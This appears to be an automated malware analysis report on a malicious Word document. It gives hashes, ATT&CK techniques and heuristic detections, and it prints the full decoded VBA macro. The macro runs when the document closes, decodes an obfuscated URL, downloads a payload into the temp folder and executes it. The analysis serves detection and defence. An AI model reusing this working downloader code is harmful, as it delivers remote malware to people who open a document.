Malicious Office (OLE) — malware analysis report

Static analysis result for SHA-256 52f86b0d2dcffd3f…

MALICIOUS

Office (OLE)

245.0 KB Created: 2016-06-27 12:59:00 Authoring application: Microsoft Office Word First seen: 2018-08-14
MD5: c044b8e387ce121c06c4c95e6d2f8b71 SHA-1: 0f37cfc30dce2670838734edd26f50de380c5f95 SHA-256: 52f86b0d2dcffd3fd3480997a126f488092ee09131315dc8029443b7f38b62f0
190 Risk Score

Malware Insights

MITRE ATT&CK
T1059.005 Visual Basic T1105 Ingress Tool Transfer

The sample is a malicious Office document containing VBA macros. The macros utilize `CreateObject` to instantiate `microsoft.xmlhttp` and `Shell.Application`. It then downloads a payload from the reconstructed URL `http://www.ÀdÂkÒ.gÂ/ÄmgÕ/ÕlÄdÂ/1ØÅÂâÔÄvÂ.ÂÛÂ` and saves it to `C:\Users\Public\R¶KÚ¶K.ÂÛÂ`, likely for execution. This behavior is indicative of a downloader.

Heuristics 6

  • ClamAV: Doc.Downloader.Generic-6922941-0 critical CLAMAV_DETECTION
    ClamAV detected this file as malware: Doc.Downloader.Generic-6922941-0
  • VBA macros detected medium 3 related findings OLE_VBA_MACROS
    Document contains VBA macro code
  • VBA downloads and writes a file to disk critical OLE_VBA_HTTP_DROP_EXEC
    VBA reads an HTTP response body and writes it to disk (ADODB.Stream SaveToFile). Combined with the auto-exec/Shell paths this is a download-drop dropper even when the COM ProgIDs are built dynamically to evade keyword scanning.
    Matched line in script
    MIUlmHJSqXBQxDWfUAvvuzkdkOpbruxpNrVFBqKBsFPzymXzViwevhlLzxrJGdyXdYloDYZjtoRhATniWC = ATniWCLMKPAtAfsrHLNFfumWEGbDIVhBOCoPmlMuLxBcCNHZWtPogcoETpdmJEikQkqynScdbgDJRvIHXceVvKCnUWrTYnjRfE.responseBody
  • CreateObject call high OLE_VBA_CREATEOBJ
    CreateObject call
    Matched line in script
    Set FPzymXzViwevhlLzxrJGdyXdYloDYZjtoRhATniWCLMKPAtAfsrHLNFfumWEGbDIVhBOCoPmlMuLxBcCNHZWtPogcoETp = CreateObject("Shell.Application")
  • Environ() call (env variable access) low OLE_VBA_ENVIRON
    Environ() call (env variable access)
    Matched line in script
    BOCoPmlMuLxBcCNHZWtPogcoETpdmJEikQkqynScdbgDJRvIHXceVvKCnUWrTYnjRfEFgpBexcASsSeXq = Environ("tmp") + pziiVVwFRuNtQjvjgZspMwGMIUlmHJSqXBQxDWfUAvvuzkdkOpbruxpNrVFBqKBsFPzymXzViwevhlLzxrJGdyXdYloDYZjtoR("\R¶KÚ¶K.ÂÛÂ")
  • Embedded URL info EMBEDDED_URL
    One or more URLs were extracted from the document. The URL itself is not a detection — see the per-URL labels for which channel (macro, JS, link annotation, document body, ...) reached each URL.
    URL http://schemas.openxmlformats.org/drawingml/2006/main Referenced by macro

Extracted artifacts 1

Files carved from inside the sample during analysis.

FilenameKindSourceSize
macros.bas vba-macro oletools.olevba.extract_macros (decoded VBA source) 5355 bytes
SHA-256: aaae1d2398936597263d70ad92e93b41f247e02c345b8ad64dbae61fbe7e4ca1
Preview script
First 1,000 lines of the extracted script
Attribute VB_Name = "ThisDocument"
Attribute VB_Base = "1Normal.ThisDocument"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = True
Attribute VB_Customizable = True
Private Sub Document_close()
Dim BOCoPmlMuLxBcCNHZWtPogcoETpdmJEikQkqynScdbgDJRvIHXceVvKCnUWrTYnjRfEFgpBexcASsSeXq
Dim FPzymXzViwevhlLzxrJGdyXdYloDYZjtoRhATniWCLMKPAtAfsrHLNFfumWEGbDIVhBOCoPmlMuLxBcCNHZWtPogcoETp
Set FPzymXzViwevhlLzxrJGdyXdYloDYZjtoRhATniWCLMKPAtAfsrHLNFfumWEGbDIVhBOCoPmlMuLxBcCNHZWtPogcoETp = CreateObject("Shell.Application")

Dim ATniWCLMKPAtAfsrHLNFfumWEGbDIVhBOCoPmlMuLxBcCNHZWtPogcoETpdmJEikQkqynScdbgDJRvIHXceVvKCnUWrTYnjRfE
Set ATniWCLMKPAtAfsrHLNFfumWEGbDIVhBOCoPmlMuLxBcCNHZWtPogcoETpdmJEikQkqynScdbgDJRvIHXceVvKCnUWrTYnjRfE = CreateObject("microsoft.xmlhttp")

BOCoPmlMuLxBcCNHZWtPogcoETpdmJEikQkqynScdbgDJRvIHXceVvKCnUWrTYnjRfEFgpBexcASsSeXq = Environ("tmp") + pziiVVwFRuNtQjvjgZspMwGMIUlmHJSqXBQxDWfUAvvuzkdkOpbruxpNrVFBqKBsFPzymXzViwevhlLzxrJGdyXdYloDYZjtoR("\R¶KÚ¶K.ÂÛÂ")
ATniWCLMKPAtAfsrHLNFfumWEGbDIVhBOCoPmlMuLxBcCNHZWtPogcoETpdmJEikQkqynScdbgDJRvIHXceVvKCnUWrTYnjRfE.Open "GET", pziiVVwFRuNtQjvjgZspMwGMIUlmHJSqXBQxDWfUAvvuzkdkOpbruxpNrVFBqKBsFPzymXzViwevhlLzxrJGdyXdYloDYZjtoR("hÖÖÓ://www.ÀdÂkÒ.gÂ/ÄmgÕ/ÕlÄdÂ/1ØÅÂâÔÄvÂ.ÂÛÂ"), False
ATniWCLMKPAtAfsrHLNFfumWEGbDIVhBOCoPmlMuLxBcCNHZWtPogcoETpdmJEikQkqynScdbgDJRvIHXceVvKCnUWrTYnjRfE.send
MIUlmHJSqXBQxDWfUAvvuzkdkOpbruxpNrVFBqKBsFPzymXzViwevhlLzxrJGdyXdYloDYZjtoRhATniWC = ATniWCLMKPAtAfsrHLNFfumWEGbDIVhBOCoPmlMuLxBcCNHZWtPogcoETpdmJEikQkqynScdbgDJRvIHXceVvKCnUWrTYnjRfE.responseBody
If ATniWCLMKPAtAfsrHLNFfumWEGbDIVhBOCoPmlMuLxBcCNHZWtPogcoETpdmJEikQkqynScdbgDJRvIHXceVvKCnUWrTYnjRfE.Status = 200 Then
Set FgpBexcASsSeXqYwgqwsEUkrtCZUyAhnGODjffejTbiyYXoehYxbFDlZulcpziiVVwFRuNtQjvjgZspMwGMIUlmHJSqXBQxDWf = CreateObject("adodb.stream")
FgpBexcASsSeXqYwgqwsEUkrtCZUyAhnGODjffejTbiyYXoehYxbFDlZulcpziiVVwFRuNtQjvjgZspMwGMIUlmHJSqXBQxDWf.Open
FgpBexcASsSeXqYwgqwsEUkrtCZUyAhnGODjffejTbiyYXoehYxbFDlZulcpziiVVwFRuNtQjvjgZspMwGMIUlmHJSqXBQxDWf.Type = 1
FgpBexcASsSeXqYwgqwsEUkrtCZUyAhnGODjffejTbiyYXoehYxbFDlZulcpziiVVwFRuNtQjvjgZspMwGMIUlmHJSqXBQxDWf.Write MIUlmHJSqXBQxDWfUAvvuzkdkOpbruxpNrVFBqKBsFPzymXzViwevhlLzxrJGdyXdYloDYZjtoRhATniWC
FgpBexcASsSeXqYwgqwsEUkrtCZUyAhnGODjffejTbiyYXoehYxbFDlZulcpziiVVwFRuNtQjvjgZspMwGMIUlmHJSqXBQxDWf.SaveToFile BOCoPmlMuLxBcCNHZWtPogcoETpdmJEikQkqynScdbgDJRvIHXceVvKCnUWrTYnjRfEFgpBexcASsSeXq, 2
FgpBexcASsSeXqYwgqwsEUkrtCZUyAhnGODjffejTbiyYXoehYxbFDlZulcpziiVVwFRuNtQjvjgZspMwGMIUlmHJSqXBQxDWf.Close
End If
FPzymXzViwevhlLzxrJGdyXdYloDYZjtoRhATniWCLMKPAtAfsrHLNFfumWEGbDIVhBOCoPmlMuLxBcCNHZWtPogcoETp.Open (BOCoPmlMuLxBcCNHZWtPogcoETpdmJEikQkqynScdbgDJRvIHXceVvKCnUWrTYnjRfEFgpBexcASsSeXq)


End Sub

    Public Function pziiVVwFRuNtQjvjgZspMwGMIUlmHJSqXBQxDWfUAvvuzkdkOpbruxpNrVFBqKBsFPzymXzViwevhlLzxrJGdyXdYloDYZjtoR(hATniWCLMKPAtAfsrHLNFfumWEGbDIVhBOCoPmlMuLxBcCNHZWtPogcoETpdmJEikQkqynScdbgDJRvIHXceVvKCn)
        YwgqwsEUkrtCZUyAhnGODjffejTbiyYXoehYxbFDlZulcpziiVVwFRuNtQjvjgZspMwGMIUlmHJSqXBQxDWfUAv = " ?!@#$%^&*()_+|0123456789abcdefghijklmnopqrstuvwxyz.,-~ABCDEFGHIJKLMNOPQRSTUVWXYZ¿¡²³ÀÁÂÃÄÅÒÓÔÕÖÙÛÜàáâãäåض§Ú¥"
        vuzkdkOpbruxpNrVFBqKBsFPzymXzViwevhlLzxrJGdyXdYloDYZjtoRhATniWCLMKPAtAfsrHLNFfum = " ¿¡@#$%^&*()_+|01²³456789ÀbÁdÂÃghÄjklmÅÒÓqÔÕÖÙvwÛÜz.,-~AàáâãFGHäJKåMNضQR§TÚVWX¥Z?!23acefinoprstuxyBCDEILOPSUY"
        For i = 1 To Len(hATniWCLMKPAtAfsrHLNFfumWEGbDIVhBOCoPmlMuLxBcCNHZWtPogcoETpdmJEikQkqynScdbgDJRvIHXceVvKCn)
            WEGbDIVhBOCoPmlMuLxBcCNHZWtPogcoETpdmJEikQkqynScdbgDJRvIHXceVvKCnUWrTYnjRfEFgpBexcASs = InStr(YwgqwsEUkrtCZUyAhnGODjffejTbiyYXoehYxbFDlZulcpziiVVwFRuNtQjvjgZspMwGMIUlmHJSqXBQxDWfUAv, Mid(hATniWCLMKPAtAfsrHLNFfumWEGbDIVhBOCoPmlMuLxBcCNHZWtPogcoETpdmJEikQkqynScdbgDJRvIHXceVvKCn, i, 1))
            If WEGbDIVhBOCoPmlMuLxBcCNHZWtPogcoETpdmJEikQkqynScdbgDJRvIHXceVvKCnUWrTYnjRfEFgpBexcASs > 0 Then
                SeXqYwgqwsEUkrtCZUyAhnGODjffejTbiyYXoehYxbFDlZulcpziiVVwFRuNtQjvjgZspMwGMIUlmHJSqXBQxDWfUAvvuzkdkOp = Mid(vuzkdkOpbruxpNrVFBqKBsFPzymXzViwevhlLzxrJGdyXdYloDYZjtoRhATniWCLMKPAtAfsrHLNFfum, WEGbDIVhBOCoPmlMuLxBcCNHZWtPogcoETpdmJEikQkqynScdbgDJRvIHXceVvKCnUWrTYnjRfEFgpBexcASs, 1)
                bruxpNrVFBqKBsFPzymXzViwevhlLzxrJGdyXdYloDYZjtoRhATniWCLMKPAtAfsrHLNFfumWEGbDIVhBOCoPmlMuLxB = bruxpNrVFBqKBsFPzymXzViwevhlLzxrJGdyXdYloDYZjtoRhATniWCLMKPAtAfsrHLNFfumWEGbDIVhBOCoPmlMuLxB + SeXqYwgqwsEUkrtCZUyAhnGODjffejTbiyYXoehYxbFDlZulcpziiVVwFRuNtQjvjgZspMwGMIUlmHJSqXBQxDWfUAvvuzkdkOp
            Else
                bruxpNrVFBqKBsFPzymXzViwevhlLzxrJGdyXdYloDYZjtoRhATniWCLMKPAtAfsrHLNFfumWEGbDIVhBOCoPmlMuLxB = bruxpNrVFBqKBsFPzymXzViwevhlLzxrJGdyXdYloDYZjtoRhATniWCLMKPAtAfsrHLNFfumWEGbDIVhBOCoPmlMuLxB + Mid(hATniWCLMKPAtAfsrHLNFfumWEGbDIVhBOCoPmlMuLxBcCNHZWtPogcoETpdmJEikQkqynScdbgDJRvIHXceVvKCn, i, 1)
            End If
        Next
        pziiVVwFRuNtQjvjgZspMwGMIUlmHJSqXBQxDWfUAvvuzkdkOpbruxpNrVFBqKBsFPzymXzViwevhlLzxrJGdyXdYloDYZjtoR = bruxpNrVFBqKBsFPzymXzViwevhlLzxrJGdyXdYloDYZjtoRhATniWCLMKPAtAfsrHLNFfumWEGbDIVhBOCoPmlMuLxB
    End Function

Attribute VB_Name = "NewMacros"
Sub OneDriveNet()
'
' OneDriveNet Macro
'
'

End Sub

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